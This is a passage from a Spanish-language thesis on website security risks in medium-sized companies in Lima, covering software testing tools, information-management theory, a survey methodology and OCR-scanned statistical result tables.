Durante las fases del ciclo del software en el contexto de ingenieria de software
se integran las pruebas de software también denominada “testeo” o “testing”, de tal
forma que al ejecutar un programa se realizan técnicas experimentales para
descubrir que errores tiene. Las pruebas de software consisten de los procesos que
permiten verificar y revelar la calidad del producto, identificando "posibles fallos de
implementacion, calidad, usabilidad de un programa.

2.4.3.10. Herramientas informaticas de testeo.

Una Herramienta de testeo consiste de programas, aplicaciones o
simplemente instrucciones usadas para efectuar otras tareas de modo mas
sencillo. Existen herramientas multifuncién, también denominadas multipropdsito
cuando tiene muchas funcionalidades. El avance en el desarrollo de aplicaciones
informaticas se debe en gran medida al desarrollo de herramientas de testing.

Selenium

Es un framework para pruebas de aplicaciones Web, descargable de forma
gratuita desde su sitio web. Proporciona una herramienta de grabacion y playback,
que permite desarrollar pruebas sin necesidad de aprender un lenguaje de Scripting.
Incluye caracteristicas como grabacién, playback, seleccibn de campos, auto
completar formularios, pruebas de recorrido (Walkthrough), debug, puntos de
control, scripts ruby y otros formatos. Incluye un lenguaje especifico para pruebas
(Selanese) para escribir pruebas en un amplio nimero de lenguajes de
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programacién populares incluyendo Java, C#:, Python. Las pruebas pueden
ejecutarse entonces usando la mayoria de los navegadores web modernos en

diferentes sistemas operativos.

@ Selenium IDE 108 * NS
Eile Edit Options Help |
Base URL http://seleniumhg.org/ hd |
iilt Slaw b‘= b_ ‘ D @
Table 'Sour:e| '

Command Target Value
open !
clickAndWait link=Download

| |verifyTextPresent Dewnloads

Command | clickAndWait s

Target link=Download| - [ Find

Value link=Download

//alcontains(text(),' Download’)]

[N @id="menu_download']/a D
| Log | Refere| //alcontains(@href, '/download/’)] ¢
Sij4)fa
clickAndWait(locator)
Generated from click(locator)

Arguments: |

HP Quicktest Professional (QTP)

Herramienta que permite a los probadores construir casos de pruebas
funcionales y de regresidbn mediante la captura de flujos directamente de las
pantallas de las aplicaciones que utilizan la tecnologia especializada de captura.
Proporciona la capacidad de automatizar pruebas funcionales y pruebas de
regresidn para software y ambientes de prueba. Asimismo la capacidad de definir
Scripts de prueba y posee una interfaz gréafica que le permiten al usuario emular la
funcionalidad que desea probar, incluyendo el uso de interfaces de usuario de las

aplicaciones a probar.
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Watir

Watir (del acrénimo en inglés de Web Application Test in Ruby) ,consiste de una
familia de librerias Ruby de Cddigo Abierto (Open Source) para la automatizacion de
navegadores web. Le permite a su usuario escribir pruebas faciles de leer y
mantener. Sencilla y flexible. Tiene la capacidad de hacer clic en enlaces, llenar
formularios de pantallas con datos y presionar botones. Esto permite escribir
scripts que manejen la ejecucién automatizada de casos de prueba en la validacién

y verificacion de funcionalidad de sistemas escritos para el navegador. Para ello el
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proyecto Watir consiste en varios proyectos menores siendo los principales Watir-

classic, Watir-webdriver y watirspec.

2.4.3.11 Fases del testeo. Son las secuencia por niveles de verificacién ante

la posible penetracion de los crackers, hackers. Las fases son las siguientes, segun
(Pacheco y Jara, 2012):

Fase de reconocimiento, en este nivel el tester no dispone de informacién
del objetivo, porlo que llegara hasta donde sus habilidades le permitan. Esta
fase es en la que se toma mas tiempo, lo que se busca es definir el objetivo y
conocer todo de él.

Fase de escaneo, en la que se revela la informacion relacionada a
la infraestructura.

Fase de enumeracion, trata de ponerle un cddigo a cada evento para darle
un nivel de orden y prioridad.

Fase de acceso, es en la cual se utilizan los medios para ingresar al
sistema objetivo.

Etapa de mantenimiento, se toman las medidas necesarias para

acceder al sistemas.

2.4.3.12 Cultura de seguridad. Es importante proteger la informacién. Se

sabe que -cualquier sistema informatico esta expuesto a un ataque. Segun

Mojsiejczuk (2007) contar con un sistema de seguridad se implica considerar tres

variables:

Confidencialidad, esta referida a que la informacion solo  puede ser
conocido por un grupo determinado de personas. Existen muchos tipos de
ataques contra la privacidad de informacién. El realizar transacciones de
informacién hace que sea vulnerable la informacion para que sea
interceptada y copiada.

Integridad, este término est4d referida a que la informacion no sea
alterada, borrada, reordenada, etc. Es un riesgo comun para paquetes de

informacion.
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o Disponibilidad de la informaciéon, es el nivel de seguridad con la que
la informacién puede ser recuperada en el momento que se requiera, esto

implica evitar la pérdida por ataque o por una mala operacion.

2.4.4 Gestion de Informacion

2.4.4.1 Definiciones. Es el proceso mediante el cual se desarrolla,
interrelaciona, controla el manejo de la informacién utilizando tecnologia. El
objetivo de gestionar informacion es facilitar su ubicacién y ahorrar tiempo en
la busqueda del mismo. La eficacia de un servicio de informacion depende de la
capacidad de los profesionales que elaboren bases de datos u otro tipo de
herramientas. Se puede decir también que es un conjunto de técnicas que se
utilizan para incrementar la productividad de trabajo mediante una gestién que se
adapta a las necesidades de informacion, es decir, se tiene informaciéon adecuada,
en el tiempo y lugar adecuados. (Chain 1995).

(Areitio, 2008) lo define como el manejo de la inteligencia organizacional que
tiene la finalidad de incrementar la eficacia, eficiencia y efectividad para el
cumplimiento de su misidén. El manejo se refiere a la planificacién estratégica y
evaluacion de las actividades que intervengan con la recoleccion, almacenamiento,
distribucién, transformacion y descarte de la inteligencia corporativa. La inteligencia
corporativa agrupa la informaciéon y conocimiento con el que se cuenta, todo
ello en funcién a incrementar la productividad de la toma de decisiones. La
eficacia, es la relacidén positiva entre los objetivos y logros obtenidos. Eficiencia
es la relacion entre los logros obtenidos y recursos invertidos. Efectividad es la
relacion entre los logros obtenidos, la inversion y el impacto de las acciones
realizadas.

2.4.4.2 Razones por las que se debe gestionar la informacion. (Parra,

1998) destaca las siguientes:

. Necesidad de disponer de informacién, incluye todo tipo de informacion:
internos, como la contabilidad financiera, facturacién, otros; externos, como
datos de la competencia.

e  Agregary analizar la informacién obtenida.
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Posibilidad de elaborar y emitir informes con el resultado del andlisis,
sintetizando informacion para realizar algun diagnostico de la situacion de la
empresa.

Posibilidad de realizar proyecciones de las variables fundamentales.

2.4.4.3 Objetivos de la Gestion de Informacion. (Chain, 1995) menciona los

siguientes objetivos:

Maximizar el valor y los beneficios de los recursos para el logro de
metas y objetivos.

Minimizar el costo de adquisicién, uso y disposicién de recursos.

Determinar las responsabilidades de cada colaborador para el uso efectivo de

la informacion.

2.4.4.4. Funciones de la Gestion de Informacion. Segin Paez, 1990 citado

en Chain 1998, se tiene las siguientes funciones:

Determinar las necesidades internas y externas de informacién.

Desarrollar la base informativa de la organizacion para después
desarrollar la estructura informativa.

Optimizar el aprovechamiento de la base y la estructura informativa
para incrementar la productividad y rendimiento.

Manejar eficientemente los recursos de informacion.

Garantizar la integridad y accesibilidad de la memoria corporativa.
Establecer, aplicar y supervisar procedimientos de seguridad de informacion.
Optimizar el flujo de la informacién.

Evaluar la calidad e impacto del soporte informativo para la gestion y
desarrollo de la empresa.

Entrenar a los miembros de la empresa sobre la utilizacion de los
recursos informativos.

Garantizar la calidad de los productos informativos y asegurar la
difusion efectiva.

2.4.4.5 Actividades de la gestion de informacion. Segun (Areitio, 2008), se

deben realizar las siguientes actividades:

Establecer las categorias que los usuarios necesitan respecto al tipo de
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informacién con las que trabajen.

o Identificar el tipo de informacién a utilizar que necesita la organizacién asi
como el tipo de informacion que debe ser desechada.

o Establecer qué tipo de materiales se requieren para cumplir los objetivos
de la empresa.

o Establecer los criterios para medir el impacto del uso de la informacion.
2.4.4.6 Valor de la informacion. La informacién es un recurso estratégico

por lo cual se debe conocer por qué es tan importante, se detallan los siguientes

argumentos:

. La informacion tiene un ciclo de vida. Primero, la informacién es
adquirida o producida, en esta etapa se otorga mas valor a los datos
primarios hasta que finalmente sean un producto util, el cual sera utilizado
por los usuarios para la generaciéon de resultados. Segundo, la informacion
adquirida es almacenada para ser consultada por diferentes usuarios, es
ahi donde la frecuencia de uso incrementa el valor de la informacién.
Finalmente, como tercera etapa, lainformacion deja de servir a ciertos
propésitos de la empresa, por lo que es desechada por volverse obsoleta,
desactualizada.

. La informacién es tan valiosa que se compara con recursos naturales
como el petréleo. Una frase reafirma el valor y costo de la informacién:
alguien en algun momento debera pagar el costo de la informacién.

. Por su valor, la informacién requiere de recursos para su maneja
optimo: personal, planta fisica, tecnologia, entre otros.

2.4.4.7 Acceso a la informacion. El acceso a la informacién publica es un
derecho fundamental de los ciudadanos, gracias a ellos se eliminan las barreras
para conocer la informacién de manera real. El estado genera herramientas para
que se facilite el desarrollo personal y social. Actualmente, vivimos en un pais
donde se vienen generando mecanismos normativos que favorecen el acceso a
la informacién pdublica, tal como la ley N°27806 - Ley de Transparencia y
Acceso a la Informacién Publica, la misma que cuenta con su Texto Unico
Ordenado, aprobado por el Decreto Supremo N° 043-2003-PCM.; ante esta
situacibn es necesario que el Derecho aplique mecanismos juridicos que
protejan el &mbito estatal como particular. En base a lo mencionado se regulé que
para acceder a datos o informacién privada se requiere consentimiento u orden
judicial. (Patron y Espinoza, 2012).
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2.4.4.8 Financiamiento. Es el conjunto de recursos monetarios financiero
que esta destinado a una determinada actividad o proyecto. Financiacién es la
accion y efecto de financiar (aportar dinero para una empresa o proyecto, sufragar
los gastos de una obra o actividad). La financiacion consiste en aportar dinero y
recursos para la adquisicion de bienes o servicios. Es habitual que Ila
financiacion se canalice mediante créditos o préstamos(quien recibe el dinero,
debe devolverlo en el futuro).

2.4.4.9. Comunicacion. La comunicacibn es un proceso cientifico que

tiene la finalidad de aportar nuevos conocimientos sobre determinados
aspectos, asimismo, tiene la finalidad de conocer con claridad y exactitud un
mensaje, de modo que informa acerca de un determinado evento que forma parte
de la accion comunicativa y facilitar la comprension. La comunicacién es una
cualidad de nuestro comportamiento, es un proceso humano a través del que
dotamos de sentido al mundo. (Pascual, 2006).

2.4.4.10. Objetivos y metas. Una meta es un enunciado general de la
direccion que se desea, también fija puntos para alcanzar, mientras que, un objetivo
es mas especifico y son un elemento para el logro de las metas. Las metas pueden
ser a corto o largo plazo al igual que los objetivos. Primero se define la meta y

luego se plantean los objetivos. (Parmerlee, 1998).

2.4.4.11 Proceso de manipulacion. Manipulacion es la acciéon y efecto de
manipular (operar con las manos 0 con un instrumento, manosear algo,
intervenir con medios habiles para distorsionar la realidad al servicio de
intereses particulares). La manipulacién puede desarrollarse en cualquier tipo
de ambito y relacion.

2.4.4.12 Etica irresponsable. Aristételes desarrollé los principios
fundamentales de la responsabilidad ética que pueden usarse en la toma de
decisiones en las diferentes areas del quehacer humano. La responsabilidad ética
impacta a casi cualquier profesion: el arte, la ciencia, la educacién, la tecnologia. La
responsabilidad ética significa cumplir obligaciones en todas las &reas éticas, o0 en
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tantas como sea posible. Cuando ocurre un dilema ético, los individuos involucrados
deben elegir entre una amplia variedad de principios éticos y evaluar cudles deben
ser enfatizados. Cuan hablamos de irresponsabilidad nos referimos a una persona
moralmente deficiente, la ética irresponsable la genera un individuo que
transgrede las normas de prudencia, de justicia, de fortaleza y de templanza. La
etica es la disciplina filoséfica que estudia la dimension moral de la existencia
humana, tanto como el bien o como el mal. (Rodriguez, 2001).



CAPITULO 3: METODOLOGIA

De acuerdo con los objetivos planteados para la investigacion, interesaba
implementar una metodologia que permita una evaluacién objetiva del posible
impacto de los Riesgos de Seguridad de Websites y sus efectos en la gestién de

Informacién de medianas empresas de Lima Metropolitana.

El diseno permitié la evaluacién del cambio en la variable dependiente
seleccionada, a través de encuestas In Situ de los especialistas en manejo de
seguridad de Websites que son docentes y profesionales en area de Ingenieria de
Sistemas, para lo cual se formaron grupos o estratos en tres niveles: Estrato I: que
la conformo medianas empresas comercializadoras de maquinarias, equipos y
materiales de Lima Metropolitana; Estrato II: Profesionales en Ingenieria Industrial y
en Ingenieria de Sistemas y Especialistas en Informatica, y Matematicos
Computacionales de los colegios profesionales de Lima; Estrato Ill: Docentes en
Informatica en los niveles de pre grado y maestria de la Facultad de Ingenieria de la
Universidad Ricardo Palma y la Universidad Nacional del Callao.

La técnica de muestreo utilizado ha sido aleatorio estratificado con asignacién
proporcional al nimero de profesionales dedicados a la gestién de informacién en
las empresas quienes aplican seguridad de su informacion las Websites.

Investigacion de Campo

En la presente investigacion se logré conocer que el nivel de grado de
seguridad de la informacién que hay en la Websites se hizo a través de encuestas
validadas con herramientas estadisticas como es el alfa de Cronbach que valida los
items de la encuesta, luego se aplicé esta encuesta a la muestra de cada estrato y
se hizo a través de mi persona en el lugar en el que se producen los
acontecimientos para garantizar la confiabilidad de la informacién, se analizé los
porcentajes de uso de nuestro método y se validd usando la recta de regresién de si
hay o no riesgos en el uso de la seguridad en la website.

El Método de estudio que se utilizo es el método descriptivo correlacional,

segun Sanchez, 2009, esta investigacion se orienta a la determinacién del grado de
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relacion existente entre dos 0 mas variables de interés en una misma muestra de
sujetos o el grado de relacidn existentes entre dos fendmenos o eventos
observados. Cuando se trata de una muestra de sujetos, el investigador observa la
presencia o ausencia de las variables que desea relacionar y luego las relaciona por

media de la técnica estadistica de analisis de correlacion.

3.1. Marco Muestral

Esta constituida por las medianas empresas industriales, comercializadoras de

maquinarias, equipos y materiales de Lima Metropolitana.

Las preguntas de la encuesta (Ver Anexo 1), han sido formuladas en base al
problema a investigar y se ha consultado en las referencias bibliograficas vy
accesos a portales, si existen trabajos similares de investigacion en donde no se ha
encontrado trabajos parecidos, Las encuestas se han ido elaborando con varios
ensayos en donde se ha detectado errores y se ha ido perfeccionando hasta

encontrar la mejor encuesta para este trabajo de investigacion.

Es preciso indicar que se ha tratado de hacer encuestas directamente con las
empresas en el rubro de servicios; como respuestas, estas han respondido con un
hermetismo sin precedentes, por cuanto argumentan que su informacién es de

indole confidencial en el area de informatica.

Se ha podido comprobar también que el 70% de las medianas empresas de
Lima Metropolitana no cuentan con un area de cdmputo especializados para
desarrollar aplicaciones Websites y, con sus respectivos niveles de seguridad,
como la encriptaciéon de codigos internacionales. Muchas de las medianas
empresas de Lima Metropolitana contratan los servicios de organizaciones
desarrolladoras y de mantenimiento de software.

En vista de esta situacién se propuso incluir en la poblacién en estudio como
sujeto/observador, a especialistas informaticos y también docentes con amplia
experiencia en desarrollo de aplicaciones Websites.



45

3.2. Poblacién

La poblacion esta constituida por los empresas, especialistas en informatica y

docentes del area Informética, como se muestra en la tabla siguiente.

Tabla N° 2. Cantidad de sujetos a nivel de Lima Metropolitana

Niveles Sujetos Cantidad
Medianas empresas
Empresas comercializadoras de 192
Estrato | maaquinarias ,equipos y
materiales
Prtl)fesmnalles en 10.900
o Industriales y Sistemas
Especialistas
en Informatica -
Informaticos y
Estrato Il Matematicos 120
Computacionales
Docentes en
Informatica Maestrias y pre-grado 505
Estrato Ill
Total 11,767

Fuente: Colegio de Ingenieros Capitulo Industriales y Sistemas

3.3. Tamano de Muestra

Para hallar el Tamafo de muestra se utilizé el muestreo aleatorio simple

En una investigacion el tamafno de muestra es muy importante. Teniendo en
cuenta que la calidad y validez de los resultados de una investigacién depende del
tamafno de muestra. Una muestra demasiado grande implica un desperdicio de
recursos y una muestra demasiado pequefa disminuye la utilidad de los resultados.
En nuestra investigacion utilizamos el Muestreo Aleatorio Simple: Teoria del
Muestreo pag. 32). El tamanio de muestra en el Muestreo Aleatorio Simple se
calcula con la férmula siguiente (Spigel. 1978: 161):
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n= —°— ... 1
" M
1+-72
2 __2
z O
ng =27 (2)
E
Donde:
n : Tamafno de muestra
no : Tamano de muestra aproximado.
N : Tamano de la poblacion bajo Estudio
Za : Valores correspondiente al nivel de Significancia
E : Error de tolerancia de la estimacion
o : Nivel de significancia
o® : varianza de la variable

Como no se tiene la variancia utilizaremos proporciones, en consecuencia la
varianza es igual a PQ (c?), donde P denota la proporcion estimada o esperada de
la variable; como no se conoce tal valor, se reemplaza por 0.5 (P=0.5 y Q=0.5), la
formula quedaria de la siguiente manera.

2 2 2
z,O z PO

n, =27 =Sl L &)

Hallando el tamano de muestra:

Datos:

Poblacién: N= 11767

P=0.5y Q=0.5

E: 0.0145%

o =5%; 1-a = 95%; a/2 = 2.5%, por tanto
Z>5%=1.96 (Tabla Normal).

Remplazando valores en la formula (1).
. ZiPQ _ (1.96)*(0.5)(0.5)

) =25 = 66.2344828
E (0.0145)
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Por la formula (3) “n” sera igual a:
66.2344828

n= +66.2344828:65'8637;66

11767

En consecuencia el tamafno de muestra es de 66 sujetos.

3.4. Proporcidn de la muestra en cada nivel de estrato

Para establecer los pesos en cada nivel de interés en la mencionada muestra
se procedera con la seleccion proporcionalmente al tamafio. Como muestra la tabla
N° 3, después de la de lo estrato las proporciones mas importantes se observan en

las especialidades Especialista en Informatica y Docentes en Informatica.

Tabla N° 3: Proporcidon de sujetos de la poblacién

Niveles Sujetos Cantidad %

Medianas empresas

Empresas comercializadoras de 08 12%
Estrato | maquinarias ,equipos y
materiales

Especialistas _
. Profesionales en
en Informatica . . 35 53%
Industriales y Sistemas
Estrato Il

Docentes en
Informatica Maestrias y pre-grado 23 35%
Estrato Il

Total 66 100%

Fuente: Elaboracién propia.




CAPITULO 4: RESULTADOS Y DISCUSION

4.1 Analisis, Interpretacion y Discusion de Resultados

FRECUENCIAS PORCENTUALES DE RESPUESTA POR CADA
PREGUNTA:

Tabla N° 4. ¢ Considera que los niveles de seguridad de los

Websites son apropiados en la empresa?

Frecuencia | Porcentaje | Porcentaje Porcentaje
valido acumulado
si 25 37,9 37,9 37,9
Validos no 41 62,1 62,1 100,0
Total 66 100,0 100,0

Fuente: Elaboracion propia.

Analisis de Datos:

Se puede apreciar segun la fuente de opinion que el 37.9% de empresas
tienen sus niveles de seguridad que nos permite conocer que existe prevision en el
promedio indicado para velar por la seguridad, aunque existe 62.1% que no

guardan esta prevision.

Tabla N° 5. ¢ Cree que el software de seguridad del
Websites en la empresa es 6ptimo?

Frecuencia | Porcentaje Porcentaje Porcentaje
valido acumulado
si 19 28,8 28,8 28,8
Validos no 47 71,2 71,2 100,0
Total 66 100,0 100,0

Fuente: Elaboracion propia.
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Se puede apreciar segun la fuente de opinién que el 28.8% de las empresas

esta segura que los software para la implementacién de las Websites son éptimos,

mientras el 71.2% es de opinion que no son optimos.

Tabla N° 6. ¢ Existen problemas de seguridad en los Websites

de la empresa?

Frecuencia | Porcentaje Porcentaje Porcentaje
valido acumulado
si 34 51,5 53,1 53,1
Validos no 30 45,5 46,9 100,0
Total 64 97,0 100,0
Perdidos  Sistema 2 3,0
Total 66 100,0

Fuente: Elaboracion propia.

Analisis de Datos:

Se puede apreciar la tabla N° 6 segun la fuente de opinidén que el 53.15% de
empresas indican que si existen problemas de las Websites. Solamente el 46.9%

indican que no existen los problemas en la Websites.

Tabla N° 7. ¢ Uno de los métodos de intrusiéon son los

crackers, cree que pueden ser controlados?

Frecuencia | Porcentaje Porcentaje Porcentaje
vélido acumulado
Si 38 57,6 58,5 58,5
Validos no 27 40,9 41,5 100,0
Total 65 98,5 100,0
Perdidos  Sistema 1 1.5
Total 66 100,0

Fuente: Elaboracion propia.




Analisis de Datos:

Se puede apreciar segun la fuente de opinion que el 58.5% de empresas
tienen como respuesta que la intrusién de crackers podran ser controlados. En un

porcentaje de 41.5% la intrusién no puede ser controlada.

Tabla N° 8. ¢ Se alcanzan los objetivos y metas

establecidas en la empresa, para la seguridad informatica?

Frecuencia | Porcentaje Porcentaje Porcentaje
valido acumulado
Si 23 34,8 34,8 34,8
Validos No 43 65,2 65,2 100,0
Total 66 100,0 100,0

Fuente: Elaboracion propia.

Analisis de Datos:

Se puede apreciar segun la fuente de opinion que las metas y objetivos para la
seguridad informatica en un 65.2 % no se cumplen. Otra parte que es el 34.8%

indican si estan cumpliendo con los objetivos y metas.

Tabla N° 9. ¢ Se cumplen exhaustivamente las pruebas de

testeo para comprobar la seguridad de ataques de crackers?

Frecuencia | Porcentaje Porcentaje Porcentaje
valido acumulado
si 16 242 24,6 24,6
Validos no 49 74,2 75,4 100,0
Total 65 98,5 100,0
Perdidos  Sistema 1 1,5
Total 66 100,0

Fuente: Elaboracién propia.
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Analisis de Datos:

Se puede apreciar segun la fuente de opinion que el 75.4% de empresas no
tiene una metodologia adecuada de hacer pruebas de testeo, que busquen evitar y
contrarrestar los ataques de intrusion, principalmente los llamados crackers. Solo el
24.6% hacen las pruebas de testeo respectivo.

Tabla N° 10. ¢ Existen riesgos de seguridad de los Websites

en la empresa?

Frecuencia | Porcentaje Porcentaje Porcentaje
vélido acumulado
si 52 78,8 80,0 80,0
Validos no 13 19,7 20,0 100,0
Total 65 98,5 100,0
Perdidos  Sistema 1 1,5
Total 66 100,0

Fuente: Elaboracion propia.

Anadlisis de Datos:

Se puede apreciar segun la fuente de opinidbn que respecto a los riesgos el
80.0% responde que existen riesgos de seguridad en el manejo de Websites.
Aunque es preciso notar que solo el 20% considera como algo seguro la

navegacion en la Websites.

Tabla N° 11. ¢ El software de Websites es desarrollado por la

empresa?
Frecuencia | Porcentaje Porcentaje Porcentaje
valido acumulado
si 22 33,3 34,9 34,9
Validos no 41 62,1 65,1 100,0
Total 63 95,5 100,0
Perdidos  Sistema 3 4,5
Total 66 100,0

Fuente: Elaboracion propia
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Analisis de Datos:

Se puede apreciar segun la fuente de opinién el 34.95 esta dedicado a
desarrollar sus Websites, y la gran parte es decir 65.1% los desarrollan empresa

especializadas en el desarrollo de Websites.

Tabla N° 12. ¢ En su opinidon los Websites son de facil

acceso y navegacion para el cliente?

Frecuencia | Porcentaje Porcentaje Porcentaje
valido acumulado
si 46 69,7 69,7 69,7
Validos no 20 30,3 30,3 100,0
Total 66 100,0 100,0

Fuente: Elaboracion propia

Analisis de Datos:

Se puede apreciar segun la fuente de opinion que el 69.7% de empresas
tienen sus Websites desarrollados de facil acceso y navegacion. El 30.3 % no puede

tener la | facilidad de navegacion y acceso en la Websites.

Tabla N° 13. ¢ Existen problemas de manipulaciéon (manejo no

autorizado) de informacion en la empresa?

Frecuencia | Porcentaje Porcentaje Porcentaje
valido acumulado
Si 33 50,0 50,8 50,8
Validos No 32 48,5 49,2 100,0
Total 65 98,5 100,0
Perdidos  Sistema 1 1,5
Total 66 100,0

Fuente: Elaboracion propia

Analisis de Datos:

Se puede apreciar segun la fuente de opinidén que el 50.8% de empresas, cree
que existen problemas de manipulacién no autorizada de informacién y, otra parte

que es el 49.2% que no existen problemas.
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Tabla N° 14. ¢ En su opinion el manejo de la informacion y la
seguridad podria mejorarse en la empresa?

Frecuencia | Porcentaje Porcentaje Porcentaje
valido acumulado
Vélidos Si 65 98,5 100,0 100,0
Perdidos Sistema 1 1,5
Total 66 100,0

Fuente: Elaboracion propia

Anadlisis de Datos:

Se puede apreciar segun la fuente de opinion que el 98.5% de empresas esta
convencida que la gestion de la informacion y la seguridad pueden mejorarse con el
tiempo.

ANALISIS ESTADISTICO

Aqui veremos si existe relacidén entre las opiniones para las variables de analisis de
la investigacién sobre riesgo de seguridad en los Websites en la Gestion de
Informacién en las medianas empresas de Lima Metropolitana.

CORRELACION DE PEARSON
Tabla N° 15. Correlaciones

Si Hay Riesgos De | No Hay Riesgos De
Seguridad En La Seguridad En La
Gestién Gestion
Correlacion de Pearson 1 -0,961
Si Hay Riesgos De
}f 9 » Sig. (bilateral) 0,000
Seguridad En La Gestion
N 66 66
Correlacién de Pearson -0,961" 1
No Hay Riesgos De
,y 9 . Sig. (bilateral) 0,000
Seguridad En La Gestion
N 66 66

Fuente: La correlacién es significativa al nivel 0,01 (bilateral).

El SPSS nos arroja que Correlacién de Pearson es -0.961 es una correlacion
negativa muy fuerte, esto quiere decir que a mayor uso de la Websites mayor es el
riesgo que representa la seguridad en la Gestion de Informacién. Cuyo grafico de la
dispersion de los puntos del total de los datos esta dado por:
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Grafico N° 1.
Grafico de la dispersion de puntos donde No hay Riesgos de Seguridad en la
Gestion con respecto a la variable de opinion en donde Si hay Riesgos de

Seguridad
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Fuente: Elaboracion propia.

Como se puede ver si existe una correlacion negativa muy fuerte entre donde
si existe riesgo de seguridad en los Websites en las medianas empresas de Lima
Metropolitana y donde existe un bajo riesgo en la seguridad cuando se usa los
Websites, usaremos la Regresion Lineal Simple para ver qué porcentaje de
influencia de dependencia se tiene.
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REGRESION

Para ver la influencia entre las variables de riesgo de seguridad en los
Websites en las medianas empresas de Lima Metropolitana usaremos primero el
coeficiente de correlacion de Pearson la que nos dara que influencia que tendrd la
variables con respecto al riesgo de seguridad en la Gestidbn de informacidén con
respecto a otra variable en donde el riesgo de seguridad es muy bajo.

Tabla N° 16. Resumen del modelo

Resumen del models®

Estadisticos de cambio

Rcuadrado | Ermortip.dela | CambioenR 8ig. Cambio Durhin-
Modelo | R [Reuadrado | comegida | esfimacion | cuadrado | Camhioenf | gl g2 enf Watsen

1 ik a3 922 42838 323 756,656 1 64 000 2028
2. Yariables predictoras: (Constants), SHa&yRiesqos

h. Yariahle dependients: NoHayRiesgosDeSequridadEnLaGestion

Fuente: elaboracion propia.

AUTO CORRELACION

Por su parte el estadistico de Durbin-Watson mide el grado de auto
correlacion entre el residuo correspondiente a cada observacion y el anterior (si los
residuos son independientes, el valor observado en una variable para un individuo
no debe estar influenciado en ningun sentido por los valores de esta variable
observados en otro individuo). Si el valor del estadistico es proximo a 2 los residuos
estan incorrelacionados; si se aproxima a 4, estardn negativamente

incorrelacionados; y si se aproximan a 0 estaran positivamente incorrelacionados.
Estadistico de Durbin-Watson

Como podemos observar el p-valor de D-W es 2.028 por lo que los residuos
estan incorrelacionados.
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ESTIMACION DE LA REGRESION Y SU INTERPRETACION

Para estimar el modelo de regresion debemos analizar la tabla Anova que nos
brinda el SPSS

ANOVA

La tabla de ANOVA nos brinda informacion acerca de si existe o no relacién
significativa entre las variables. El estadistico F permite contrastar la hipétesis nula
de que el valor poblacional de R es cero, lo cual, en el modelo de regresion,
equivale a contrastar la siguiente hipotesis:

Prueba de significacion Global

Ho: No existe asociacion lineal entre las variables en donde No hay riesgos de

Seguridad en la Gestidén y la variable en donde Si hay riesgos

Hi: Si existe asociacion lineal entre las variables en donde No hay riesgos de

Seguridad en la Gestidn y la variable en donde Si hay riesgos

Tabla N° 17. ANOVA

ANOVA?®
Modelo Suma de o] Media F Sig.
cuadrados cuadrdtica
Regresion 140,694 1 140,694 766,656 0,000°
1 Residual 11,745 64 0,184
Total 152,439 65

a. Variable dependiente: No Hay Riesgos De Seguridad En La Gestion
b. Variables predictoras: (Constante), Si Hay Riesgos

Fuente: Elaboracién propia.

El p-valor que arroja el SPSS es F = 766.656 y p = 0.000 el cual es menor que
0.05 esta es la razon por lo cual rechazamos la Hy y aceptamos que “Si existe
asociacion lineal entre las variables en donde No hay riesgos de Seguridad en la
Gestién y la variable en donde Si hay riesgos”.

Observacion: El rechazo de la hipétesis nula implica que existe relacién lineal
entre la variable independiente y las variables dependientes.

Conclusidn: Existen suficientes evidencias a un nivel de significacion del 5%,
de que el indice de la variable: Riesgo de los Websites en Gestion de Informacion y la
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variable: El riesgo es bajo cuando se usa los Websites en Gestion de Informacion es
explicado de manera significativa por la variable independiente.
Tabla N° 18. Coeficientes

Coeficiendes

Cogficiantes Intervalo e confianza de B8 1%
Cogficiantes no estandarizados | tipfcados nara Coralacionas Estatisticos de colingglida

Limita
nteln : Emrlg. Beta t Sg | Limieinfericr | superier | Odencerc | Parcisl | Semiparcial | Tolerancia F
1 {Constantg) 11,784 208 5703 ili 10,369 1,202

136 -B61 | -27 669 Jilil] -1 087 -B1h - B61 - A6 - B61 1,100 1000

SiHayRiesg0s - R
7. Variahle dependiente: NoHayRiesqusDeSaqurdanEnLaGestan

Fuente: Elaboracion propia.

En la columna encabezada por {Coeficientes no estandarizados} se

encuentran los coeficientes b; que forman parte de la ecuaciéon en puntuaciones

directas: donde Y : esel riesgo de los Websites en Gestidn de Informacion

X: El riesgo es bajo cuando se usa los Websites en Gestion de Informacion
Y =a+bXx (Ecuacién de regresion Lineal)
Y =10,785—-0,986 x

Observacion: El Beta de la variables No Existe Riesgo es - 0,999 significa que
a mayor uso de la Websites mayor es el riesgo que representa la seguridad en la

Gestion de Informacion

El coeficiente de determinacion multiple (rz)

Mide la tasa porcentual de los cambios de Y que la variable de seguridad de
Riesgo de las Websites en la Gestion de Informaciéon que pueden ser explicados por
x que es la variable en donde el Riesgo es bajo cuando se usa las Websites en la
Gestidn de Informacion, y simultaneamente.

2o SC regresion 140,694

= =0,9229527877
SC Total 152,439

CONCLUSIONES:
El 92.29% del Riesgo de Seguridad de la Websites esta basada en la Gestidon
de Informacion cuando se usa las Websites.
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A) ANALISIS ESTADISTICO DE LA VARIABLE RIESGO CON RESPECTO A LAS
VARIABLES: Niveles de Seguridad, Software de Seguridad, Problemas de
Seguridad, Métodos de Intrusion, Objetivos y Metas de Seguridad y Pruebas

de Testeo.

Contraste de Andlisis de los items de Riesgos de Seguridad de las
Websites y los Niveles de Seguridad de las Websites en las medianas
empresas de Lima Metropolitana.

Para hacer el andlisis de estos dos:

Ho: No existe diferencia estadisticamente significativa entre las proporciones de

H1Z

los efectos de opinidn en la influencia con respecto a los Riesgos de
seqguridad y los Niveles de Seguridad en la seguridad informatica de la
gestion de informacién al usar los Websites en las medianas empresas de
Lima Metropolitana

Si existe diferencia estadisticamente significativa entre las proporciones de
los efectos de opinién en la influencia con respecto a los Riesgos de
seqguridad y los Niveles de Seguridad en la seguridad informatica de la
gestion de informacién al usar los Websites en las medianas empresas de
Lima Metropolitana

Tabla N° 19. Tabla de contingencia Efectos De Riesgo * Opinion

Recuento
Opinién Total
Si es estd de No esta de
acuerdo acuerdo
Riesgos de Seguridad en la 52 13 65
Websites
Efectos De Riesgo
Niveles de Seguridad en la 25 41 66
Websites
Total 77 54 131

Fuente: Elaboracion propia.
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Tabla N° 20. Pruebas de chi-cuadrado

Valor gl Sig. asintotica | Sig. exacta Sig. exacta
(bilateral) (bilateral) (unilateral)

Chi-cuadrado de Pearson 23,980° 1 0,000
Correccién por continuidad® 22,273 1 0,000
Razo6n de verosimilitudes 24,915 1 0,000
Estadistico exacto de Fisher 0,000 0,000
Asociacion lineal por lineal 23,797 1 0,000
N de casos validos 131

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es
26,79.

